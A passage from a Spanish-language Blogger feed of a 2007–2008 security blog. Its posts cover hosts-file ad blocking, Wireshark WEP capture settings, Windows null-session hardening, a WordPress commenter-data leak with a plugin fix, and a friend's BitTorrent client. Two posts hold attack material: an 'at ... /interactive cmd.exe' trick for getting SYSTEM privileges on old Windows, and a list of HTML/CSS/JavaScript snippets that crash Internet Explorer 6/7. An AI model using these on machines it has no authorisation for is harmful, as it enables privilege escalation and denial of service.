Entrar como SYSTEM</title><content type='html'>En Windows el programador de tareas se ejecuta con privilegios de &lt;b&gt;SYSTEM&lt;/b&gt; (mas que Administrador).&lt;br /&gt;&lt;pre class="brush: plain"&gt;at XX:XX /interactive "cmd.exe"&lt;/pre&gt;&lt;br /&gt;Cuando se cargue el &lt;b&gt;cmd&lt;/b&gt;, Finalizamos el proceso &lt;b&gt;explorer.exe&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;En el &lt;b&gt;cmd&lt;/b&gt; escribimos:&lt;br /&gt;&lt;pre class="brush: plain"&gt;explorer.exe&lt;/pre&gt;&lt;br /&gt;Y ya tenemos privilegios de la cuenta &lt;b&gt;SYSTEM&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Cerramos el cmd. Y si abrimos uno nuevo y escribimos&lt;br /&gt;&lt;pre class="brush: plain"&gt;%username%&lt;/pre&gt;&lt;br /&gt;Nos devolvera &lt;b&gt;SYSTEM&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Para evitar que nuestros usuarios hagan esto, si estamos en un dominio, podemos deshabilitar el uso del programador de tareas mediante una directiva de grupo.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-728811211227453497?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=728811211227453497' title='4 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/728811211227453497'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/728811211227453497'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2008/04/windows-entrar-como-system.html' title='Windows. Entrar como SYSTEM'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-173100370205146083</id><published>2008-03-28T21:14:00.007+01:00</published><updated>2010-08-14T23:12:50.608+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><title type='text'>Windows: Bloquear de manera efectiva parasitos (*ware, virus...) de sitios dudosos</title><content type='html'>Podemos usar el archivo hosts para bloquear pop-ups de publicidad, banners, cookies de terceros, bugs de webs, spyware y hasta casi todos los hijackers.&lt;br /&gt;&lt;br /&gt;En windows al realizar una resolucion de nombres, por defecto se lee primero el archivo &lt;b&gt;hosts&lt;/b&gt;, y solo si tras leerlo el sistema no es capaz de resolver de nombre a IP, entonces consultamos a los servidores DNS que tengamos configurados.&lt;br /&gt;&lt;br /&gt;Bien, si en el archivo &lt;b&gt;hosts&lt;/b&gt; yo incluyo una linea tal que asi:&lt;br /&gt;&lt;pre class="brush: plain"&gt;127.0.0.1 ad.doubleclick.net&lt;/pre&gt;&lt;br /&gt;¿Que es lo que ocurre?&lt;br /&gt;&lt;br /&gt;Que conseguimos bloquear todos los archivos que nos intente transferir ese servidor DoubleClick que estamos viendo. Esto tambien nos protege de que el servidor pueda trazar lo que hacemos. En la Internet de hoy en dia es comun que servidores publicitarios como DoubleClick y muchos mas intenten abrir una conexion distinta a la pagina web que estamos viendo.&lt;br /&gt;&lt;br /&gt;¿Tenemos que editar linea a linea el archivo hosts de nuestro Windows?&lt;br /&gt;&lt;br /&gt;No. Nadie deberia tener que resolver un problema 2 veces. Y ya hay gente que se ha dedicado a recopilar estos sitios maliciosos con la ayuda de todos los usuarios de Internet.&lt;br /&gt;&lt;br /&gt;El que yo uso es este:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.mvps.org/winhelp2002/hosts.htm"&gt;&lt;b&gt;http://www.mvps.org/winhelp2002/hosts.htm&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Suele ser actualizado muy a menudo. En el momento de escribir esto es dia 28-Marzo-2008, y la ultima actualizacion a dia de hoy es del 9-Marzo-2008.&lt;br /&gt;&lt;br /&gt;Se trata de un archivo comprimido que viene con un bat. Pero ese bat funciona mal, por ejemplo si abres el archivo comprimido y simplemente haces doble click en el .BAT&lt;br /&gt;&lt;br /&gt;Yo lo que recomiendo es sobreescribir nuestro archivo &lt;b&gt;hosts&lt;/b&gt; con el archivo &lt;b&gt;hosts&lt;/b&gt; que estos buenos chicos nos proporcionan.&lt;br /&gt;&lt;br /&gt;¿Donde esta el archivo &lt;b&gt;hosts&lt;/b&gt;?&lt;br /&gt;&lt;br /&gt;Depende de la version de Windows.&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: plain"&gt;Windows 2K - C:\WINNT\SYSTEM32\DRIVERS\ETC&lt;br /&gt;Windows XP - C:\WINDOWS\SYSTEM32\DRIVERS\ETC&lt;br /&gt;Windows Vista - C:\WINDOWS\SYSTEM32\DRIVERS\ETC&lt;br /&gt;Win 98/ME - C:\WINDOWS&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Usuarios de Vista, leed esto: &lt;a href="http://www.mvps.org/winhelp2002/hostsvista.htm"&gt;&lt;b&gt;http://www.mvps.org/winhelp2002/hostsvista.htm&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;¿Como? ¿Que ya no ves algo que antes veias?&lt;br /&gt;&lt;br /&gt;Simplemente edita el archivo &lt;b&gt;hosts&lt;/b&gt; y borra la linea que haga referencia al servidor que ya no ves.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-173100370205146083?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=173100370205146083' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/173100370205146083'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/173100370205146083'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2008/03/windows-bloquear-de-manera-efectiva.html' title='Windows: Bloquear de manera efectiva parasitos (*ware, virus...) de sitios dudosos'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-1906925695861165567</id><published>2008-03-18T15:44:00.008+01:00</published><updated>2010-08-24T10:43:21.674+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pentesting'/><category scheme='http://www.blogger.com/atom/ns#' term='wifi'/><title type='text'>Tengo la clave WEP pero DHCP esta desactivado</title><content type='html'>O metodo prueba y error, o...&lt;br /&gt;&lt;pre class="brush: plain"&gt;-Wireshark&lt;br /&gt;-Edit / Preferences / Protocols / IEEE 802.11&lt;br /&gt;-Assume packets have FCS&lt;br /&gt;-Clave WEP&lt;br /&gt;-Capture packets in promiscuous mode&lt;br /&gt;-Enable network name resolution&lt;br /&gt;-Disable MAC name resolution&lt;br /&gt;-Filtro: (wlan.bssid == bssid_AP) &amp;&amp; (tcp)&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-1906925695861165567?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=1906925695861165567' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/1906925695861165567'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/1906925695861165567'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2008/03/tengo-la-clave-wep-pero-dhcp-esta.html' title='Tengo la clave WEP pero DHCP esta desactivado'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-1803640422950833771</id><published>2008-03-18T15:29:00.006+01:00</published><updated>2011-11-21T10:48:48.258+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><title type='text'>Como colgar IE</title><content type='html'>Todas estas maneras funcionan para IE6, y algunas para IE7.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;1.&lt;/b&gt; &amp;lt;STYLE&amp;gt;@;/* &lt;a href="http://www.ecqurity.com/adv/IEstyle.html"&gt;&lt;b&gt;Source&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;2.&lt;/b&gt; &amp;lt;input type crash&amp;gt; &lt;a href="http://www.theinquirer.net/?article=9288"&gt;&lt;b&gt;Source&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;3.&lt;/b&gt; &amp;lt;body onLoad="window()"&amp;gt; &lt;a href="http://seclists.org/bugtraq/2005/May/0330.html"&gt;&lt;b&gt;Source&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;4.&lt;/b&gt; &amp;lt;style&amp;gt;*{position:relative}&amp;lt;/style&amp;gt;&amp;lt;table&amp;gt;&amp;lt;input&amp;gt;&amp;lt;/table&amp;gt; &lt;a href="http://immike.net/blog/2007/08/06/single-line-of-html-crashes-ie-6/"&gt;&lt;b&gt;Source&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;5.&lt;/b&gt; &amp;lt;script&amp;gt;for (x in document.write) { document.write(x);}&amp;lt;/script&amp;gt; &lt;a href="http://www.modernlifeisrubbish.co.uk/article/how-to-crash-internet-explorer"&gt;&lt;b&gt;Source&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;6.&lt;/b&gt; Event handler crash. &lt;a href="http://www.securityfocus.com/archive/1/427904/30/60/threaded"&gt;&lt;b&gt;Source&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;7.&lt;/b&gt; Ordered list crash. Hay que hacer click en el primer item de la lista. &lt;a href="http://sitening.com/blog/2006/09/27/crash-ie6-with-only-css/"&gt;&lt;b&gt;Source&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;8.&lt;/b&gt; function getX( oElement )&lt;br /&gt;{&lt;br /&gt;var iReturnValue = 0;&lt;br /&gt;while( oElement != null ) {&lt;br /&gt;iReturnValue += oElement.offsetLeft;&lt;br /&gt;oElement = oElement.offsetParent;&lt;br /&gt;}&lt;br /&gt;return iReturnValue;&lt;br /&gt;}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-1803640422950833771?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=1803640422950833771' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/1803640422950833771'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/1803640422950833771'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2008/03/como-colgar-ie.html' title='Como colgar IE'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-4735433374406293540</id><published>2008-02-13T11:27:00.006+01:00</published><updated>2010-08-14T23:30:35.451+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='redes'/><title type='text'>BJBT 0.3.0.0, Por mi amigo chanchi</title><content type='html'>Mi amigo &lt;b&gt;chanchi&lt;/b&gt; me envia la ultima version de su cliente de BitTorrent que presentara como Proyecto de Fin de Carrera. Es la version 0.3.0.0 y os podeis bajar este programa de nivel de &lt;a href="http://one.xthost.info/vlan7/BJBT-0.3.0.0.jar"&gt;&lt;b&gt;AQUI&lt;/b&gt;&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Tambien se ha currado un mega PDF de documentacion de &lt;b&gt;¡557 paginas!&lt;/b&gt;, que evidentemente, no lo hace publico al menos hasta que presente su PFC.&lt;br /&gt;&lt;br /&gt;Si quereis los fuentes .java vienen dentro de JAR. Desde el directorio java\jdk :&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;jar xf BJBT-0.3.0.0.jar&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Muchas gracias &lt;b&gt;chanchi&lt;/b&gt;, eres un crack tio :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-4735433374406293540?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=4735433374406293540' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/4735433374406293540'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/4735433374406293540'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2008/02/bjbt-0300-por-mi-amigo-chanchi.html' title='BJBT 0.3.0.0, Por mi amigo chanchi'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-8343958112297467526</id><published>2008-01-30T20:04:00.002+01:00</published><updated>2010-08-14T23:31:47.339+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='regedit'/><category scheme='http://www.blogger.com/atom/ns#' term='hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><title type='text'>Windows: Defensa ante ataques de enumeracion de usuarios o recursos compartidos</title><content type='html'>No he hablado aqui de lo sencillo que es realizar un ataque contra un controlador de dominio, en el mas jugoso de los casos, de forma que estableciendo lo que se conoce como una sesion nula, podamos obtener muchisima informacion sobre usuarios y recursos compartidos de un sistema.&lt;br /&gt;&lt;br /&gt;Con esta info, y sabiendo cosas como que el SID del usuario Administrador en Windows &lt;b&gt;siempre&lt;/b&gt; acaba en &lt;b&gt;500&lt;/b&gt;, o conociendo algun nombre por defecto de algunos grupos que hay en un dominio, y combinando todo esto con herramientas como &lt;b&gt;user2sid&lt;/b&gt; / &lt;b&gt;sid2user&lt;/b&gt;, un atacante lo tiene mas sencillo para lograr una escalada de privilegios en nuestros sistemas.&lt;br /&gt;&lt;br /&gt;No me apetece explicar el ataque sino la defensa.&lt;br /&gt;&lt;br /&gt;Por defecto cualquier Windows permite la enumeracion de usuarios y recursos compartidos, lo cual me parece lamentable.&lt;br /&gt;&lt;br /&gt;Podemos asegurar un poco mas nuestros sistemas manipulando el valor de la siguiente clave de registro:&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;HKLM\SYSTEM\CurrentControlSet\Control\&lt;br /&gt;LSA&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;La clave se llama &lt;b&gt;RestrictAnonymous&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Admite 3 posibles valores:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;0&lt;/b&gt; Permisos por defecto, es decir, damos toda la info. Patetico.&lt;br /&gt;&lt;b&gt;1&lt;/b&gt; No permitir enumeracion de usuarios SAM / recursos compartidos.&lt;br /&gt;&lt;b&gt;2&lt;/b&gt; Acceso prohibido a menos que permitamos especificamente acceso anonimo.&lt;br /&gt;&lt;br /&gt;Yo en todos los manuales de seguridad que he leido, papers serios incluso, he visto que directamente recomiendan usar el valor &lt;b&gt;2&lt;/b&gt;. Pero yo recomendaria establecer el valor &lt;b&gt;1&lt;/b&gt;, que si bien no protege totalmente contra un ataque de enumeracion, si que impide hacerlo estableciendo una sesion nula, etc, etc. Esto es lo que podria saber el 99% de los atacantes. Lo tipico.&lt;br /&gt;&lt;br /&gt;¿Por que yo no recomiendo establecer el valor &lt;b&gt;2&lt;/b&gt;?&lt;br /&gt;&lt;br /&gt;Porque a pesar de ser mas seguro, nos quita demasiadas funcionalidades como para que la balanza seguridad/perdida de funcionalidades se incline hacia el lado de la seguridad.&lt;br /&gt;&lt;br /&gt;¿Como cuales? Que esto es lo que no he leido en ningun manual, incluso he leido que Microsoft recomienda establecer el valor 2...&lt;br /&gt;&lt;br /&gt;-Ningun equipo miembro del dominio que sea inferior a Windows 2000 podra establecer un canal seguro en la comunicacion con el servidor.&lt;br /&gt;&lt;br /&gt;-Ningun controlador de dominio degradado aunque este en un dominio de confianza podra establecer un canal seguro net logon contra el controlador de dominio.&lt;br /&gt;&lt;br /&gt;-Usuarios de Windows NT o MAC no podran cambiar su contraseña cuando esta caduque.&lt;br /&gt;&lt;br /&gt;-En "Mis sitios de red" dejaras de poder ver los equipos de la red, a menos que no este establecido el valor &lt;b&gt;2&lt;/b&gt; en alguno de estos equipos: el master browser del dominio, el master browser o el backup master browser.&lt;br /&gt;&lt;br /&gt;No se de ningun efecto secundario mas... ¿alguien conoce alguno mas? Lo de siempre, creditos a ti si me sorprendes... :)&lt;br /&gt;&lt;br /&gt;Ahora como conclusion una pregunta...&lt;br /&gt;&lt;br /&gt;¿Y en un controlador de dominio que corra bajo Samba bajo UNIX? ¿Existen estos problemas de sesiones nulas, etc?&lt;br /&gt;&lt;br /&gt;¿Cuestion de probar un ataque de enumeracion de usuarios contra un DC powered by Samba bajo UNIX/Linux no?&lt;br /&gt;&lt;br /&gt;:)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-8343958112297467526?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=8343958112297467526' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/8343958112297467526'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/8343958112297467526'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2008/01/windows-defensa-ante-ataques-de.html' title='Windows: Defensa ante ataques de enumeracion de usuarios o recursos compartidos'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-7388042975477677155</id><published>2008-01-21T12:07:00.006+01:00</published><updated>2011-11-21T10:53:14.734+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pentesting'/><title type='text'>Grave vulnerabilidad Data Disclosure en Wordpress</title><content type='html'>En todas las versiones de wordpress hasta la fecha descubri que existe un fallo de diseño que permite a los usuarios registrados ver las IPs y los mails (estos ultimos si han sido introducidos) de todos los usuarios que hayan hecho algun comentario.&lt;br /&gt;&lt;br /&gt;Basta con logearse e ir a la opcion &lt;b&gt;Comentarios&lt;/b&gt; o a la opcion &lt;b&gt;Administrar&lt;/b&gt; y ahi pinchar en cualquier numero de los comentarios para ver estos datos sensibles.&lt;br /&gt;&lt;br /&gt;Googleando descubri un plugin hecho por &lt;b&gt;Kaf Oseo&lt;/b&gt;, pero solo solucionaba el problema si entrabamos por la opcion de comentarios. Por la opcion administracion seguia sin resolver el problema. Ademas lo hacia reduciendo la funcionalidad del blog en wordpress, pues lo hacia a costa de reducir los privilegios de los usuarios de Autor a Colaborador.&lt;br /&gt;&lt;br /&gt;Gracias a mis ideas, mi amigo &lt;b&gt;Javitxu&lt;/b&gt; mejoro el plugin que yo le mostre.&lt;br /&gt;&lt;br /&gt;Podeis bajarlo de &lt;a href="http://one.xthost.info/vlan7/erase-commenter-details.zip"&gt;&lt;b&gt;AQUI&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;En nuestra modificacion del plugin original de &lt;b&gt;Kaf Oseo&lt;/b&gt; explicamos un poco por encima las modificaciones hechas para mejorarlo.&lt;br /&gt;&lt;br /&gt;Hasta la fecha, nuestro plugin es el mejor para solucionar estos 2 graves fallos de diseño de Wordpress. ¿Algun hacker dispuesto a hacernos lo que los angloparlantes llaman &lt;i&gt;hack the hack&lt;/i&gt;? Somos todo oidos... :)&lt;br /&gt;&lt;br /&gt;Keep the good work folks.&lt;br /&gt;&lt;br /&gt;P.D. He dejado el siguiente mensaje en el hilo correspondiente de los foros oficiales de Wordpress (&lt;a href="http://wordpress.org/support/topic/143772"&gt;&lt;b&gt;http://wordpress.org/support/topic/143772&lt;/b&gt;&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;&lt;i&gt;My friend Javitxu and me have developed a full solution based in Kaf Oseo plugin because it's GPL.&lt;br /&gt;&lt;br /&gt;I've wrote a post in my personal blog ( &lt;a href="http://www.vlan7.org"&gt;&lt;b&gt;UNIX &amp; CISCO &amp; HACKS&lt;/b&gt;&lt;/a&gt; ) with a link to the improved wordpress plugin. The post is dated January 21, 2008.&lt;br /&gt;&lt;br /&gt;Any ideas would be appreciated.&lt;br /&gt;&lt;br /&gt;Best regards,&lt;br /&gt;&lt;br /&gt;Keep up the good work folks.&lt;br /&gt;&lt;br /&gt;vlan7&lt;/i&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-7388042975477677155?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=7388042975477677155' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/7388042975477677155'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/7388042975477677155'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2008/01/grave-vulnerabilidad-data-disclosure-en.html' title='Grave vulnerabilidad Data Disclosure en Wordpress'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-1462061437943903316</id><published>2007-12-12T12:23:00.004+01:00</published><updated>2010-08-14T23:41:44.007+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='redes'/><title type='text'>Bit Torrenet 0.1.11 Por mi amigo chanchi</title><content type='html'>Mi amigo &lt;b&gt;chanchi&lt;/b&gt; me manda un mail diciendome:&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Hola vlan7,&lt;br /&gt;&lt;br /&gt;Aqui va mi version 11 dias despues, quizas pase el visto bueno del profesor&lt;br /&gt;&lt;br /&gt;chanchi&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Podeis descargarlo de &lt;a href="http://www.filefactory.com/file/df9939/"&gt;&lt;b&gt;AQUI&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Muchas gracias &lt;b&gt;chanchi&lt;/b&gt; por enriquecer una vez mas mi blog con un programa avanzado :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-1462061437943903316?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=1462061437943903316' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/1462061437943903316'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/1462061437943903316'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2007/12/bit-torrenet-0111-por-mi-amigo-chanchi.html' title='Bit Torrenet 0.1.11 Por mi amigo chanchi'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-3324607851267776632</id><published>2007-11-26T15:25:00.005+01:00</published><updated>2010-08-14T23:42:00.389+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='redes'/><title type='text'>Bit Torrenet 0.1.1 Por mi amigo chanchi</title><content type='html'>Mi amigo &lt;b&gt;chanchi&lt;/b&gt; se ha currado como Proyecto de Fin de Carrera un cliente BitTorrent.&lt;br /&gt;&lt;br /&gt;Me envia un mail diciendome:&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Hola vlan7,&lt;br /&gt;&lt;br /&gt;Bueno llevaba 31 dias programando (versión 0.0.31), hoy es el dia 32, versión 0.1.1.&lt;br /&gt;&lt;br /&gt;Va muy lento mi programa y cualquier cliente bitTorrent cutre se pone a maxima velocidad y te chupa todo el ancho de banda. Tengo que investigar que pasa.&lt;br /&gt;&lt;br /&gt;El tutor del proyecto muy bien, me hablo de sustituir System.out.println por una clase llamada Salida que escribiese por consola, fichero o textarea de la ventana.&lt;br /&gt;&lt;br /&gt;Tambien me dijo de hacer herencia para no repetir codigo en 3 clases que tengo para tres controles de interfaz JTable&lt;br /&gt;&lt;br /&gt;Me hablo de hacer una clase Idioma, y de hacer un fichero de preferencias, un (*.propierties) que maneja muy bien el JAVA donde almacenar cosas como las opciones de los menus: host/puerto PROXY, puerto que acepta conexiones, directorio de compartidos/download.&lt;br /&gt;&lt;br /&gt;Así que tengo que hacer los siguiente:&lt;br /&gt;&lt;br /&gt;- Mejorar la velocidad de download&lt;br /&gt;- Abro muchos sockets de golpe, muchas conexiones y se pierden por TIMEOUT muchas, tengo que poner un limite de conexiones por segundo antes de hacer el HANDSHAKE.&lt;br /&gt;- Poner limite de UPLOAD en KB para que pueda hacer mas peticiones de datos y mejorar mi velocidad DOWNLOAD&lt;br /&gt;- Meter IDIOMA&lt;br /&gt;- Meter clase Salida con metodos que escriban en fichero/consola  segun tu decidas&lt;br /&gt;- Meter fichero que guarde la configuracion .propierties&lt;br /&gt;&lt;br /&gt;Muchas gracias por ayudarme con crear una INSTALACION para mi programa. Dentro de 15 dias cuando este mas descargado de trabajo te pido ayuda con el programa adminstudio.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;(me ofreci a crearle un instalador con Adminstudio)&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Tambien me hablo del JAVADOC y de como comentar los metodos JAVA para generar documentacion con el JAVADOC que luego se pasa a WORD con el Rose/Enterprise Architect que son aplicaciones de Metodología UML.&lt;br /&gt;&lt;br /&gt;Mi amigo de birras de hace ya 20 años que es mi Tutor (ya hizo la tesis y es doctor) tiene mi misma edad, estudiamos desde EGB hasta la carrera juntos.&lt;br /&gt;&lt;br /&gt;Fue muy positivo, y me dijo que los alumnos de la media estan los 3 años programando en JAVA y que yo llevaba 10 años sin programar. Que hace dos meses no sabia lo que era un&lt;br /&gt;try{&lt;br /&gt;}&lt;br /&gt;Catch (Excepction e)&lt;br /&gt;{}&lt;br /&gt;&lt;br /&gt;Y bueno me dijo tb que habia que observar mis circunstancias que yo sali de la carrera hace 8 años. vlan7, yo te digo que le saque muy poca rentabilidad economica a todos los creditos de las casi 40 asignaturas anuales que aprobe. Hay gente que con la carrera y un poco mas se gana la vida sin ser cientificos, solo programadores del monton.&lt;br /&gt;&lt;br /&gt;Tambien me dijo que en la de 3 años hay gente que presenta como proyecto cosas de Gestion (Bibliotecas, Video-clubs), un monton de gente haciendo portales o carritos de la compra. Que se repetian proyectos. Creo que nadie hizo un BitTorrent en la carrera superior o media. No es que sea muy complejo pero bueno las comunicaciones hay que sincronizarlas, es mas dificil la inteligencia artificial o andar haciendo&lt;br /&gt;compiladores/traductores. Pero bueno tiene un punto mas de dificultad que la gestion o la programación WEB. Aunque ahora andan con el AJAX alguna gente haciendo virguerias en WEB.&lt;br /&gt;&lt;br /&gt;Bueno a ver si dentro de 1 mes ya tenemos programita rapido, con opciones, que maneje varios Torrentes a la vez y que tenga instalacion.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Asi me gusta chanchi, el baudio es nuestro tio... Y de la instalacion me encargo yo chanchi, cuenta conmigo :)&lt;br 